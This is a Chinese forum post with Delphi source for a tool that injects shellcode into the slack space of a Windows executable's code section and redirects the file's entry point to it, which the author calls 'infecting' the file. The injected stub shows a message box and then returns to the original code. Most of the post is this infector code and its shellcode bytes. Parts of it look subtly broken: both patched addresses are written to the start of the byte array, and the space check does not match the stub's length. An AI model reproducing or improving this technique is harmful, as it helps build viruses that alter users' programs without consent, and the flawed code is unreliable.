给PE文件插入X码
本代码只是寻找所有带有可执行区块,并判断是否有空余,可否插入X码。且不涉及到输入表添加、区块添加等内容。
本人菜鸡一只,学艺不精,如有错误,还望斧正。
1.读取EntryPoint和ImageBase两个字段,这两个字段相加得到入口点的VA地址(这个入口点执行完X码跳转回去要用到)
2.循环遍历所有带有包含代码以及可执行属性的区块,再判断是否有多余空间放入X码,有则放入
3.修正插入X码后的区段属性字段
4.修改EntryPoint字段指向我们X码的RVA地址
5.感染成功的前提就是,程序输入表里面有user32.dll,否则调用MessageBoxA这个API的时候会失败
我构造的X码如下:
pushad
push 0
push 0
push 0
push 0
mov eax,MessageBoxA
call eax
popad
push EntryPoint
ret
MessageBoxA是感染的时候直接获取到的,不涉及到输入表,所以被感染文件换了个系统就GG了。
我没有用立即数寻址的jmp和call,是因为RVA和Offset的转换实在是不想写,人懒。
下面上代码。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
OpenDialog1: TOpenDialog;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
var
bCode: array of Byte = (96, 106, 0, 106, 0, 106, 0, 106, 0, 184, 0, 0,
0, 0, 255, 208, 97, 104, 120, 86, 52, 18, 195);
procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
Edit1.Text := OpenDialog1.FileName;
end;
procedure TForm1.Button2Click(Sender: TObject);
var
outFile: file;
iNtPoint: Integer; //NT头开始偏移
wCount: Word; //区块数目
wSize: Word;
iStart: Integer; //区块表开始偏移
i: Integer;
pOffset: Integer; //区块在文件中的偏移
iFlags: Cardinal; //区块的属性
iVSize: Integer; //区块在文件中实际使用的大小
iRSize: Integer; //区块在文件中对齐后的大小
pRVA: Integer; //区块在内存中的偏移
iEntry, iBase, dwEntryPoint: Cardinal;
begin
if not FileExists(Edit1.Text) then
begin
ShowMessage('请输入一个合法的文件路径!');
Exit;
end;
//校验文件是否存在
AssignFile(outFile, Edit1.Text);
Reset(outFile, 1); //以二进制方式读写文件
Seek(outFile, $3C);
BlockRead(outFile, iNtPoint, 4);
//读取NT头
Seek(outFile, iNtPoint + $6);
BlockRead(outFile, wCount, 2);
//读取区块数目
Seek(outFile, iNtPoint + $14);
BlockRead(outFile, wSize, 2);
Seek(outFile, iNtPoint + $28);
BlockRead(outFile, iEntry, 4);
Seek(outFile, iNtPoint + $34);
BlockRead(outFile, iBase, 4);
dwEntryPoint := iEntry + iBase;
CopyMemory(@bCode, @dwEntryPoint, 4);
iStart := wSize + $18 + iNtPoint;
{
我们构造这么一段代码
pushad
push 0
push 0
push 0
push 0
mov eax,MessageBoxA
call eax
popad
push EntryPoint
ret
}
for i := 0 to wCount - 1 do
begin
Seek(outFile, iStart + 40 * i + 36);
BlockRead(outFile, iFlags, 4);
//读取区段的属性
if (iFlags and $20000020) = $20000020 then //测试区段是否包含代码且可执行
begin
Seek(outFile, iStart + 40 * i + 12);
BlockRead(outFile, pRVA, 4); //读取区块在内存中的RVA地址
Seek(outFile, iStart + 40 * i + 16);
BlockRead(outFile, iRSize, 4); //读取在文件对齐后的尺寸
Seek(outFile, iStart + 40 * i + 20);
BlockRead(outFile, pOffset, 4); //读取在文件中的偏移
Seek(outFile, iStart + 40 * i + 8);
BlockRead(outFile, iVSize, 4); //读取实际使用的尺寸
if iRSize - iVSize >= 17 then //如果区块可用的数据长度大于我们的X码
begin
Seek(outFile, pOffset + iVSize);
BlockWrite(outFile, bCode, 23);
Seek(outFile, iNtPoint + $28);
iBase := pRVA + iVSize;
BlockWrite(outFile, iBase, 4);
//修改入口点
Seek(outFile, iStart + 40 * i + 8);
iBase := iVSize + 23;
BlockWrite(outFile, iBase, 4);
CloseFile(outFile);
ShowMessage('成功感染文件!');
Exit;
end;
end;
end;
CloseFile(outFile);
ShowMessage('感染失败!可能是文件设置了只读或者没有足够的空间!');
end;
procedure TForm1.FormCreate(Sender: TObject);
var
dwMessageBox: Cardinal;
begin
dwMessageBox := Cardinal(GetProcAddress(GetModuleHandle('user32.dll'),
'MessageBoxA'));
CopyMemory(@bCode, @dwMessageBox, 4);
end;
end.
编译后,随便找个EXE文件试试看。感染成功后打开看看是不是有个提示框?
源码下载(Delphi7):
页:
[1]